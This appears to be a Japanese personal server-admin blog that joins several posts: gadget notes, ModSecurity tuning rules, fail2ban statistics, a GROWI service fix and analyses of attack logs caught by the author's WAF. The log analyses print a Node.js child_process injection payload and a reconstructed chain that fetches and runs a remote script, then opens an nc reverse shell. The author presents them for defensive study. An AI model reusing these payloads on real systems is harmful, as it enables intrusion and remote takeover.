今月届いたノートパソコン、ThinkPad。

こちらのサプライを少し揃えました。

ダイソーで
- ワイヤレスイヤホン
- メモリーカードリーダー
イヤホンは元々持っていますけど、別に分けておけばペアリングの手間を省けます。

存外小さめのケースも好感触。

これに加えて
- マウス
- ACアダプター
一式をお気に入りのポーチにまとめることができました。
今月届いたノートパソコン、ThinkPad。

こちらのサプライを少し揃えました。

ダイソーで
イヤホンは元々持っていますけど、別に分けておけばペアリングの手間を省けます。

存外小さめのケースも好感触。

これに加えて
一式をお気に入りのポーチにまとめることができました。
クリスマスに喰らった広域IPからのDDoSを排除した話。そこでの「友軍相撃(Friendly Fire)」をやらかしたという失敗談です。
このときのメモはこちらにまとめています。
df -h コマンドが数分間フリーズ(Dステート一歩手前の待機状態)。調査の結果、ネットワーク層およびカーネル層での遮断を確認しました。
curl -v を実行した際、特定のIP帯域(103.151.x.x 等)へのTCPハンドシェイクが Trying... のまま進まず、タイムアウトすることを確認。
この時点で、「ああ、超・広範囲のブロックが徒になったか」と実感です。
ipset list コマンドにより、自作の防御システム『ONE OUTS』で使用している ufw-blocklist に、以下の広域ブロックが登録されていることを突き止めました。
103.0.0.0/8 (Wasabi東京リージョンを含むアジア圏の広大な帯域)85.0.0.0/8 (Nextcloud公式サーバーを含む欧州圏の広大な帯域)結論: 昨年末のDDoS攻撃を鎮圧するために設定した「第1オクテット(/8)単位のブロック」が、正常な業務通信を巻き添えにする(Friendly Fire)結果を引きおこしたのです。
干渉していた巨大なブロックエントリを ipset から削除し、通信路を復旧させました。
sudo ipset del ufw-blocklist 103.0.0.0/8
sudo ipset del ufw-blocklist 85.0.0.0/8
sudo ipset save ufw-blocklist -f /etc/ufw/ipsets.save
この状態では、まだs3fsプロセスが固まっていますので、これも対処。
sudo killall -9 s3fs
sudo fusermount -u -z /mnt/wasabi2
sudo mount -a
各サービスが正常なステータスに戻ったことを確認しました。
curl -I https://s3.ap-northeast-1.wasabisys.com で 303 See Other が即座に返ることを確認。
df -h が遅延なく応答し、Wasabiバケットの容量が表示されることを確認。
管理画面の「インターネット接続なし」の警告が消え、外部連携機能が復旧したことを確認。
「このマウントはバックアップのため、普段めったに触れなかった」に尽きます。
今回、バックアップをいじるようになってからようやく気づいた次第です。これに関しては反省。
「使ってなければそれは見えていないのと同じ」というバイアスでした。
これは、対象のIPアドレスをシャットアウトする「慈悲なき王」です。
を身を以て体感しました。なので、これを振るう時は更に注意する必要がありました。
それにしても、「自分だけが使うサーバのため、被害が自分だけで済んで良かった」と改めて思った次第です。こちらの記事にて
「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。
が、まさに自分に向かっていったというお話しで、本件を締めます。
OSSでのWAFとして非常にメジャーなModSecurityとCRS(Core Rule Set)。
デフォルトでは非常に強力な保護が得られます。しかし、そのままではRedmineやNextcloudといった「複雑なリクエストを投げるアプリ」はまともに動きません。
今回は、筆者の例を元に、偽陽性(誤検知)を回避しつつ、偽陰性(すり抜け)を最小限に抑える設定術を解説します。
と、WAFが偽陽性を誘発するようなWebアプリ群です。
WAFを運用する上で避けて通れない2つの概念です。
| 用語 | 状態 | 影響 | 対策 |
|---|---|---|---|
| 偽陽性 (False Positive) | 正常な通信を攻撃と判定 | ユーザーがログインできない、投稿が消える | ルールの除外設定(Exclusion)を行う |
| 偽陰性 (False Negative) | 攻撃的な通信を正常と判定 | 脆弱性を突かれ、被害が出る | シグネチャの更新、独自ルールの追加 |
「守りを固めれば不便になり、利便性を取れば危うくなる」。このジレンマを解決するのが、筆者が設定している個別除外ルールの設計です。
これは筆者が2025年9月まで実施していた例です。
たとえば、自分がRedmineで投稿した記事がエラーとなってしまった。そのエラーを
awk '
/ModSecurity/ {
if (match($0, /\[client ([0-9\.]+):/, ip_arr) && match($0, /\[id "([0-9]+)"\]/, id_arr)) {
print id_arr[1], ip_arr[1];
}
}' /var/log/nextcloud_error.log | sort | uniq -c
等として調査。以下の結果が出てきたとします。
36 911100 127.0.0.1
267 911100 aaa.bbb.ccc.ddd
65 920420 aaa.bbb.ccc.ddd
36 949110 127.0.0.1
267 949110 aaa.bbb.ccc.ddd
36 980130 127.0.0.1
267 980130 aaa.bbb.ccc.ddd
| ID | ルール名(概要) | 挙動の説明 |
|---|---|---|
| 911100 | Method is not allowed by policy | 許可されていないHTTPメソッド(GET/POST以外など)を検知します。 |
| 920420 | Request content type is not allowed by policy | Content-Typeヘッダーが許可リストにない場合に反応します。 |
| 949110 | Inbound Anomaly Score Exceeded | 重要: これは特定の攻撃を指すものではなく、他のルールの合計スコアが閾値を超えたため「ブロックした」という最終結果を示すIDです。 |
| 980130 | Inbound Anomaly Score Exceeded (Reporting) | 949110と同様に、リクエスト全体の異常スコアが高かったことを報告するログ用のIDです。 |
これらの偽陽性に引っかかったIDを割り出し、/etc/apache2/sites-available/example.confなどで
## 最初は検知モード
SecRuleEngine DetectionOnly
+
+## 偽陽性と判断したID
+SecRuleRemoveById 911100
+SecRuleRemoveById 920420
+SecRuleRemoveById 949110
+SecRuleRemoveById 980130
+
</VirtualHost>
を追加するのは確実に偽陽性“は”防ぐことができます。しかし、これでは「本当に上記の脆弱性を突いた攻撃」は素通しとなってしまいます。
特に、攻撃者は、クローリングスクリプトなどで内容を確認し、「この記事があればこのルールは無効化されているはず」と当たりをつけます。定番の防御ツール、ましてやOSSともなると、
は極めて多いのです。
特に、技術ブログのように
などは、投稿した瞬間にエラーとなったため、渋々SecRuleRemoveIdで検知しないようにした方は極めて多いのではないでしょうか。
また、CRSは「このラインまでだったら大丈夫だ」という「甘い判断基準」が悲しいことに存在します。
以下は、ある日のModSecurityエラーログの一部です(情報は無害化済み)。
# 1. Slowloris攻撃を疑わせる矛盾したConnectionヘッダーの検知
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Warning. Pattern match "(?i)(?:keep-alive(?:,\\\\s*close|...)" at REQUEST_HEADERS:Connection. [id "10001"] [msg "[CUSTOM RULE] Contradictory Connection header, possible Slowloris probe."]
# 2. IPアドレスでの直接アクセスを検知
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|...)" at REQUEST_HEADERS:Host. [id "920350"] [msg "Host header is a numeric IP address"]
# 3. アノマリスコアが閾値を超えたため遮断
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 6)"]
Connection: keep-alive, close という通常ではありえないヘッダーが含まれていました。これは Slowloris などのDoS攻撃ツールに見られる特徴です。203.0.113.1)を指定してアクセスしています。これはボットによる無差別なスキャンの典型的な挙動です。この、Mod_Securityのルールの外を狙った「じわじわとリソースを削っていく」攻撃こそ遮断する必要があります。
この「偽陽性は防ぎつつ本来の防御を確立する」ために筆者が行っている手段は「例外ルールによるチューニング」です。
こちらのリンク先のような形でCRSを設置。筆者記事:ModSecurityインストール
cd /usr/share/modsecurity-crs/coreruleset/rules && pwd
として、
REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.confファイルを作成します。
以下、筆者の例です。
#
# === CRS Exclusions - Before Rules Execution (Organized) ===
#
# ===================================================================
# 1. 共通ルール・汎用ルール (General/Common Rules)
# ===================================================================
# 1-1. 遅い通信(Slowloris)対策
# 矛盾するConnectionヘッダーを持つリクエストを遮断
SecRule REQUEST_HEADERS:Connection "@rx (?i)(?:keep-alive(?:,\sclose|,\skeep-alive)|close(?:,\skeep-alive|,\sclose))" \
"id:10001,phase:1,t:none,block,msg:'[CUSTOM RULE] Contradictory Connection header, possible Slowloris probe.',tag:'application-attack',tag:'PROTOCOL_VIOLATION/INVALID_HREQ',setvar:'tx.inbound_anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# 1-2. WordPress スキャン対策
# 存在しないWPパスへのアクセスは、問答無用でスコアを加算して404へ飛ばす
# wordpressを設置している方は、このセクションを無効化してください
SecRule REQUEST_URI "@rx /(?:wordpress|wp-admin|wp-content|wp-includes|xmlrpc\\.php)" \
"id:10002,phase:2,pass,nolog,capture,msg:'[CUSTOM] WordPress Probe Detected. Scored +5.',tag:'ATTACK_WP_PROBE',setvar:'tx.anomaly_score_pl1=+5',setvar:'tx.lfi_score=+5',setvar:'tx.wp_probe_detected=1'"
SecRule TX:wp_probe_detected "@eq 1" \
"id:10003,phase:2,deny,nolog,msg:'[CUSTOM] Final action: Deny with 404 status.',status:404"
# 1-3. IPアドレス直打ちアクセス対策
# ホスト名ではなくIPで直接アクセスしてくる怪しい挙動を即座にマーク
SecRule REQUEST_HEADERS:Host "@rx ^[\d.]+$" \
"id:10004,\
phase:1,\
deny,\
status:403,\
log,\
msg:'[CUSTOM RULE] Host header is a numeric IP address. Blocked immediately.',\
tag:'application-attack',\
tag:'PROTOCOL_VIOLATION/INVALID_HREQ'"
# ===================================================================
# 2. アプリ別除外: BookStack (Knowledge Base)
# ===================================================================
SecRule SERVER_NAME "@streq bookstack.example.com" \
"id:1001,phase:1,nolog,pass,skipAfter:END_BOOKSTACK_RULES_PRE"
# PUTメソッドの許可(下書き保存用)
SecRule REQUEST_URI "@rx ^/(ajax/page|books|pages)/" \
"id:1003,phase:1,nolog,pass,setvar:'tx.allowed_methods=%{tx.allowed_methods} PUT',ctl:ruleRemoveById=911100"
# 記事投稿時のSQLi/XSS誤検知を除外
SecRule REQUEST_URI "@rx ^/(books|ajax/page|pages)/" \
"id:1005,phase:2,nolog,pass, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-RCE, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-LFI, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-XSS, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-SQLI, \
ctl:ruleRemoveById=921130, \
ctl:ruleRemoveById=934130"
SecMarker END_BOOKSTACK_RULES_PRE
# ===================================================================
# 3. アプリ別除外: Nextcloud (Cloud Storage)
# ===================================================================
SecRule SERVER_NAME "@streq nextcloud.example.com" \
"id:3001,phase:1,nolog,pass,skipAfter:END_NEXTCLOUD_RULES_PRE"
# WebDAV関連メソッド(PROPFIND等)を許可しないと同期が壊れるため除外
SecRule REQUEST_URI "@rx ^/remote\.php/" \
"id:3002,phase:1,nolog,pass, \
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND OPTIONS REPORT PUT DELETE MKCOL', \
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920420"
SecMarker END_NEXTCLOUD_RULES_PRE
# ===================================================================
# 4. アプリ別除外: Redmine (Project Management)
# ===================================================================
SecRule SERVER_NAME "@rx ^(redmine|projects)\.example\.com$" \
"id:4001,phase:1,nolog,pass,skipAfter:END_REDMINE_RULES_PRE"
# PATCHメソッド(チケット更新)の許可
SecRule REQUEST_URI "@rx ^/(issues|projects)/" \
"id:4002,phase:1,nolog,pass,setvar:'tx.allowed_methods=%{tx.allowed_methods} PATCH',ctl:ruleRemoveById=911100"
# チケット内容(コードブロック等)がSQLiやRCEと誤認されるのを防ぐ
SecRule REQUEST_URI "@rx ^/projects/[^/]+/(issues|knowledgebase/articles|news|issue_templates)|/issues|/journals|/questions|/issue_templates" \
"id:4003,phase:2,nolog,pass, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-RCE, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-SQLI, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-LFI, \
ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-XSS, \
ctl:ruleRemoveByTag=OWASP_CRS/PROTOCOL-ATTACK"
# View CustomizeプラグインでJS/CSSを編集する際の広範な除外
SecRule REQUEST_URI "@rx ^/view_customizes(?:/\d+)?$" "id:4006,phase:2,nolog,pass,t:none,chain"
SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" \
"ctl:ruleRemoveTargetByTag=OWASP_CRS/ATTACK-RCE;ARGS:view_customize[code],\
ctl:ruleRemoveTargetByTag=OWASP_CRS/ATTACK-XSS;ARGS:view_customize[code]"
SecMarker END_REDMINE_RULES_PRE
上記、設定を行ったら
sudo apache2ctl configtest
apache 再起動
sudo systemctl restart apache2.service
apache 再起動確認
systemctl status apache2.service
active(running)を確認します。
実際にRedmine / Nextcloud等にアクセスして、投稿をしても偽陽性にならない(エラーにならない)を確認できれば成功です。
WAFは一度設定して終わりではありません。
/var/log/apache2/error.log や ModSecurityのアAuditログを監視し、id:xxxxx が出たら「それは本当に攻撃か?」を疑い、必要なら今回のコンフィグに除外ルールを追記します。
特定のソースIPや、自社ドメイン宛の正常な操作(Redmineの更新など)は、今回のようにパスやメソッドで丁寧に除外を作るのが、運用を長続きさせる秘訣です。
この、例外ルールを正しく使うことで、スクリプトキディやクローラーに対して、このような大見得を切ってやりましょう。
『任務は遂行する』
…………
部下も守る
おまえごときに両方やるというのは
そうムズかしい事じゃあないな
昨今のPCの価格急騰に伴い、PC購入を一念発起。

| 項目 | 詳細スペック | 備考 |
| プロセッサー | AMD Ryzen™ AI 5 PRO 340 (2.00 GHz / 最大 4.80 GHz) | 最新のZen 5世代・AIエンジン(NPU)搭載 |
| グラフィックス | AMD Radeon™ 840M (内蔵) | 軽めの3Dゲームも動作する強力な内蔵GPU |
| メモリー | 16 GB DDR5-5600MT/s (SODIMM) | 空きスロット×1あり(最大96GBまで拡張可) |
| ストレージ | 512 GB SSD M.2 2280 PCIe-NVMe Gen4 | 高速NVMe規格 |
| ディスプレイ | 14.0" WUXGA (1920x1200) IPS液晶 | 400 nit、16:10の縦広画面 |
| 本体重量 | 約 1.39 kg 〜 | 14型ワークステーションとして最軽量クラス |
| キーボード | 日本語配列、バックライト付 | 独立クリックボタン+トラックポイント搭載 |
| 生体認証 | 指紋センサーあり | 電源ボタン一体型 |
| カメラ | 500万画素(プライバシーシャッター付) | 高精細なWeb会議対応 |
| 無線LAN | Wi-Fi 7対応 (IEEE 802.11be) | Bluetooth v5.4対応 |
| インターフェース | USB4 (Thunderbolt互換)×2、USB-A×2、HDMI 2.1、RJ-45 | 有線LAN(RJ-45)を標準搭載 |
| バッテリー | 4セル リチウムイオン 52.5 Wh | 急速充電対応 |
| OS | Windows 11 Home 64bit |
これにつきます。ホームポジションから手を離すことなくストレートに操作できる「手の拡張機能」は特権です。

こちらを見てお分かりのように『ライザのアトリエ3』DXが動きました。これは最高のキラーコンテンツです。
その他、使用感は改めてレビューします。
「取り敢えず乗っ取れそうなサーバがあるなら攻撃する」ぐらいの勢いでSSHに接続する輩。その数は浜の真砂のなんとやらです。
そこでふと思ったのが「どこの国からの不正攻撃が多いのか」という興味。これを調べてみます。
以下を使って調べます。
sudo fail2ban-client status sshd | grep "Currently banned"
結果
|- Currently banned: 8473
なんと、8500にも及ぶIP群。これらをnslookup / digで調べるのは非効率。そして、それらを一覧してシェルスクリプトを組むのもDNSのクエリーを食い潰します。
そこで、geooplookupを用います。
インストールは以下の方法で。(筆者は好みでaptitudeを用いています)
sudo aptitude install geoip-bin geoip-database
インストール後、
geoiplookup 8.8.8.8
を入力。
GeoIP Country Edition: US, United States
が帰ってくればOKです。
では、GeoIPで実際に、fail2banが検知したものを見てみます。
sudo fail2ban-client status sshd | grep "IP list" | sed 's/.*IP list: \+//' | tr ' ' '\n' | while read ip; do geoiplookup "$ip" | cut -d: -f2; done | sort | uniq -c | sort -rn | head -n 20
こちらの結果は
1716 CN, China
1134 US, United States
498 CA, Canada
487 SG, Singapore
476 VN, Vietnam
394 ID, Indonesia
344 HK, Hong Kong
327 DE, Germany
314 IN, India
229 RU, Russian Federation
212 KR, Korea, Republic of
175 BR, Brazil
167 GB, United Kingdom
164 IR, Iran, Islamic Republic of
149 NL, Netherlands
124 FR, France
95 JP, Japan
86 TH, Thailand
71 IT, Italy
69 ES, Spain
上位10カ国だけで、全体の半分近く(約5,700件)を占めています。特定の地域に設置されたデータセンターやクラウドプロバイダーのIP群から、システマチックに攻撃が来ていることが推測できます。
上位10カ国に日本(JP)が入っていないことから、ターゲットを絞った攻撃というよりは、「世界中を無差別に絨毯爆撃しているボット」に私のサーバーが見つかり、それをFail2Banがコツコツと捕獲し続けている状況です。
「vps一本でサーバを公開する」という宣言は自由ではありますが「これだけの悪意と戦う自由」との隣り合わせ。
は、心に留めておくべきSSHの運用です。
以下の環境でGrowiを利用。
/home/www-data/growiv7.4.1で以下の問題点にぶつかったため、growiのスタートアップスクリプトとsystemdで対処したときのメモです。
/etc/systemd/system/growi.service[Unit]
Description = growi
After=network-online.target mongod.service
After=network.target elasticsearch.service
ConditionPathExists=/home/www-data/growi
[Service]
ExecStart=/home/www-data/growi/growi-start.sh
Restart=no
Type=simple
[Install]
WantedBy=multi-user.target
/home/www-data/growi/growi-start.sh#!/bin/bash
# NVM environmentをロード (NVM_DIRを直接指定)
export NVM_DIR="/root/.nvm" # $HOMEの代わりに直接パスを指定
if [ -s "$NVM_DIR/nvm.sh" ]; then
\. "$NVM_DIR/nvm.sh" # nvmをロード
# 次の行でスクリプト実行時のnodeとnpmのバージョンをログに出力
echo "NVM for GROWI startup script loaded. Using Node version: $(node -v), npm version: $(npm -v)" > /tmp/growi_nvm_load.log
else
# NVMが見つからない場合もログに出力
echo "NVM_DIR ($NVM_DIR) not found or nvm.sh not found for GROWI startup script." > /tmp/growi_nvm_load.log
fi
cd /home/www-data/growi
NODE_ENV=production \
AUDIT_LOG_ENABLED=true \
FORCE_WIKI_MODE=private \
MONGO_URI=mongodb://localhost:27017/growi \
ELASTICSEARCH_URI=http://localhost:9200/growi \
REDIS_URI=redis://localhost:6379 \
PASSWORD_SEED=password \
npm run app:server
以下、分析はGemini。
ConditionPathExists が大規模なディレクトリ(growi)をチェックする際、OSレベルでスキャン待ちが発生していた可能性。nvm.sh を読み込んでいた。これは数百行のシェルスクリプトを実行する処理であり、本番環境のサービス起動としては非常に重い。今回の事象で最大の問題は、「本番環境のサービス起動に、開発環境のような動的な初期化プロセスを組み込んでいたこと」にありました。
具体的には、以下の3つの「待ち」が連鎖していました。
ConditionPathExists) systemdのユニットファイルでGROWIのインストールディレクトリをチェックしていましたが、node_modules を含む膨大なファイル群をOSレベルでスキャンしに行った際、I/O待ちやカーネルレベルのオーバーヘッドが発生し、daemon-reload や起動そのものを著しく遅延させていました。nvm.sh をロード(source)し、Node.jsのバージョン判定を動的に行っていました。これは開発時には便利ですが、本番サービスとしては数百行のシェルスクリプトを毎回実行することになり、CPUリソースと時間を無駄に消費していました。sudo cp -pi /etc/systemd/system/growi.service /path/to/backup/growi.service.$(date +%Y%m%d)
sudo cp -pi /home/www-data/growi/growi-start.sh /path/to/backup/growi-start.sh.$(date +%Y%m%d)
sudo diff -u /path/to/backup/growi.service.$(date +%Y%m%d) /etc/systemd/system/growi.service
sudo diff -u /path/to/backup/growi-start.sh.$(date +%Y%m%d) /home/www-data/growi/growi-start.sh
/etc/systemd/system/growi.service[Unit]
Description=GROWI Service
After=network-online.target mongod.service elasticsearch.service redis.service
Wants=network-online.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/home/www-data/growi
ExecStart=/bin/bash /home/www-data/growi/growi-start.sh
Restart=always
RestartSec=10
StandardOutput=append:/var/log/growi.log
StandardError=append:/var/log/growi-error.log
[Install]
WantedBy=multi-user.target
/home/www-data/growi/growi-start.sh#!/bin/bash
# Node.jsバイナリへのパスを直接追加 (nvm.shのロードを回避して高速化)
export PATH="/root/.nvm/versions/node/v20.19.2/bin:$PATH"
GROWI_DIR="/home/www-data/growi"
cd $GROWI_DIR
# 環境変数の設定
export NODE_ENV=production
export AUDIT_LOG_ENABLED=true
export FORCE_WIKI_MODE=private
export MONGO_URI=mongodb://localhost:27017/growi
export ELASTICSEARCH_URI=http://localhost:9200/growi
export REDIS_URI=redis://localhost:6379
export PASSWORD_SEED=password
# execにより、このシェル自体をnpmプロセスに切り替える
exec npm run app:server
※このpasswordは、旧設定をそのまま利用します。でない場合、「Growiにログインできない」という地獄が待っています。
sudo systemctl daemon-reload
sudo systemctl restart growi.service
systemctl status growi.service
active(running) を確認します。
その後、
growi.service)| 項目 | 旧設定 (遅延の原因) | 新設定 (最適化済) |
|---|---|---|
| 依存関係 | Afterが分散、Redisの指定なし | After/WantsにRedis含め統合 |
| パスチェック | ConditionPathExists (5分停滞の疑い) | 削除(高速化に寄与) |
| 実行ユーザ | 指定なし (デフォルト) | User=root / Group=root 明示 |
| 作業ディレクトリ | スクリプト内で cd | WorkingDirectory で定義 |
| 再起動設定 | Restart=no (手動復旧が必要) | Restart=always (10秒後に自動復旧) |
| ログ管理 | 標準出力のみ (systemdログに混在) | /var/log/growi.log に直接出力 |
growi-start.sh)| 項目 | 旧設定 (遅延の原因) | 新設定 (最適化済) |
|---|---|---|
| Node環境構築 | source nvm.sh (数秒〜数十秒のロス) | PATH を直接追加 (0秒) |
| 環境変数 | \(バックスラッシュ)連結 (ミスしやすい) | export 方式 (確実で読みやすい) |
| 実行コマンド | npm run app:server (子プロセスとして実行) | exec npm... (プロセスを置き換え) |
nvm を毎回読み込む必要はありません。パスを直接通すことが最速の解決策でした。WorkingDirectory 等に任せることで、systemdの管理サイクルが正常化しました。exec): OS (systemd) -> Bash -> npm となっていた階層を、exec で OS (systemd) -> npm に直結させたことで、シグナルの伝達やメモリ効率が改善しました。Node.jsのバージョンを変更した際のみ、growi-start.sh 内の v20.19.2 というパス文字列を書き換えるだけで対応可能です。
2025年12月31日早朝に検知された攻撃ログ。前回の単純な破壊工作とは異なり、システムの内部情報(カレントディレクトリ等)を奪取し、それをクエリパラメータとして外部へ持ち出そうとする「偵察型RCE」の典型例だったのでメモをしておきます。
[Wed Dec 31 05:25:08 2025] [security2:error]
[ModSecurity: Warning] [ID "934100"] [Severity: CRITICAL]
[Message: Node.js Injection Attack 1/2]
[Matched Data: process.mainModule.require('child_process').execSync('pwd')]
今回の攻撃者は、Next.jsのサーバーアクションや特定のSSR(サーバサイドレンダリング)の脆弱性を想定した、非常にテクニカルなコードを注入しています。
var res = process.mainModule.require('child_process').execSync('pwd').toString().trim();
process.mainModule を経由して、サンドボックス化されている可能性のある環境から child_process(OS操作モジュール)を強制的に呼び出しています。execSync('pwd') を実行することで、「現在、サーバのどのディレクトリでプログラムが動いているか」という、次なる攻撃(設定ファイルの奪取など)のための足がかりとなる情報を取得しようとしています。throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
ここが非常に巧妙だと思った点。Next.jsがリダイレクトを処理する際の内部エラー NEXT_REDIRECT を意図的に投げ(throw)、そのエラーオブジェクトの中に、先ほど取得したディレクトリ情報(${res})を埋め込んでいます。
/login?a=/home/www-data/... というURLに強制的に飛ばされます。934100(Node.js Injection)が、child_process や execSync といった危険な関数呼び出しを完全にパターンマッチング。このログが示しているのは、攻撃側がいかに「多様な環境」を想定した多角的な攻撃を自動化しているかという事実です。
しかし、設置したModSecurityは、相手がRubyを狙おうがNode.jsを狙おうが、「外部から実行コードが注入される」という本質的な異常を逃しませんでした。
2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。
[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
- RCE (Remote Code Execution): 65
- SQLI (SQL Injection): 5
- LFI (Local File Inclusion): 5
- COMBINED_SCORE: 78
攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。
"__proto__": { "then": "$1:__proto__:then" }
これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。
JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)
# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f;
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立
とはいえ、この手の防御はしっかりとWAFが検知していました。
この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。
しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。
漫画『ONE OUTS』にも引き合いに出された
「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」
が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。
2025年、いろいろと購入したガジェットがいくつもありました。その中で特に印象的だったもの。
「今年は万年筆を買わなくていいな」というもくろみが大きく崩れ去り「このままでは余計な出費をしなくて済む」まで打ち砕いた逸品。

の衝動買いの見本のようなもの。改めて「万年筆で書く楽しさ」に気づかせてくれたものです。

こちらも、バッテリーの持ちが悪いというストレスを元から絶った形。より軽く、心持ち薄く、完全にフィットしてQoEが上がりました。
6年ぶりの機種変。これによって得られたものは
世間ではいろいろ言われているようですが、自分に刺さったのがこの機種でした。
これは本当に大きいもの。
など、私の生活リズムそのものを変えたという形。
なお、このThinkPadは少し変化があるかもしれませんが
の三段構えは2026年も続けていくでしょう。
「MongoDBをs3fsで繋いでしまった」
ことによる課金地獄。
とはいえ、これにより
何よりも
「全ての責任が自分である以上、最後まで問題に取り組む」
という、エンジニアの必須スキルを改めて学べました。
元々、VPS運用を更に決定づけたドメイン「reisalin.com」の所有者ではありますが、新たに「ryza.jp」というわずか4文字で意味あるドメインが取れたことで、ますます「サーバ運用に真摯に向き合う」気概が生まれました。
月額980円キャンペーン期間が切れるタイミングでXServerに切り替え。月額1400円程度に上がりましたが、その分、
CPUモデル : AMD EPYC-Milan Processor
CPUコア数 : 4
合計メモリ : 5.78 GiB
利用可能メモリ : 1.97 GiB
合計スワップ : 2.00 GiB
に底上げ。
CPUとメモリを知ることができるワンライナーです
awk 'BEGIN {FS=":"; OFS="\t"} /^model name/ && !cpu_model {cpu_model=$2; gsub(/^ */, "", cpu_model)} /^processor/ {cores++} /^MemTotal/ {mem_total=$2} /^MemAvailable/ {mem_avail=$2} /^SwapTotal/ {swap_total=$2} END {printf "CPUモデル\t: %s\n", cpu_model; printf "CPUコア数\t: %s\n", cores; printf "合計メモリ\t: %.2f GiB\n", mem_total/1024/1024; printf "利用可能メモリ\t: %.2f GiB\n", mem_avail/1024/1024; printf "合計スワップ\t: %.2f GiB\n", swap_total/1024/1024}' /proc/cpuinfo /proc/meminfo
この底上げは何がありがたいかというと、今まで諦めていた
の同時稼働ができるようになったこと。また、折角だからとmod-phpからphp-fpmへとよりセキュアな構成にできたのもありがたいです。
の三構成によりオープンソースでありながら十分なセキュリティ強度を持たせた「ONE OUTS」を
「自分の投稿は偽陽性にならず、相手の疑わしい攻撃を検知する」
ものへと刷新することができました。
直近の出来事ですが、これをは特に印象深い出来事です。12月25日というクリスマスの朝、自サーバを襲ったDDoS。これを「前もって用意していた」ipsetでカウンターで来たことは何より重畳。
昨年末の「Wasabiクラウドの重課金」は「これ、私、今後、vpsを運用する資格があるのか?」思いましたが:
「資格? 馬鹿野郎、誰もそんなもの持ってねぇんだ! いいか、あるのは責任だけだ。戦う責任! あの子を傷つけちまった責任! そいつを果たすには、この地球を守るしかねぇんだ!
俺は慰めねぇぞ。励ますつもりもねぇ。自分の責任は自分でとれ! 立ち上がってこい、ダイモン! そしたら俺たちはいくらでも支えてやる」
――『救急戦隊ゴーゴーファイブ』第27話『イエロー戦線離脱!』
この言葉に救われました。このおかげで、今年は乗り切ることができたということで、今年のサーバ運用の締めくくりとしたいです。
Powered by WordPress & Theme by Anders Norén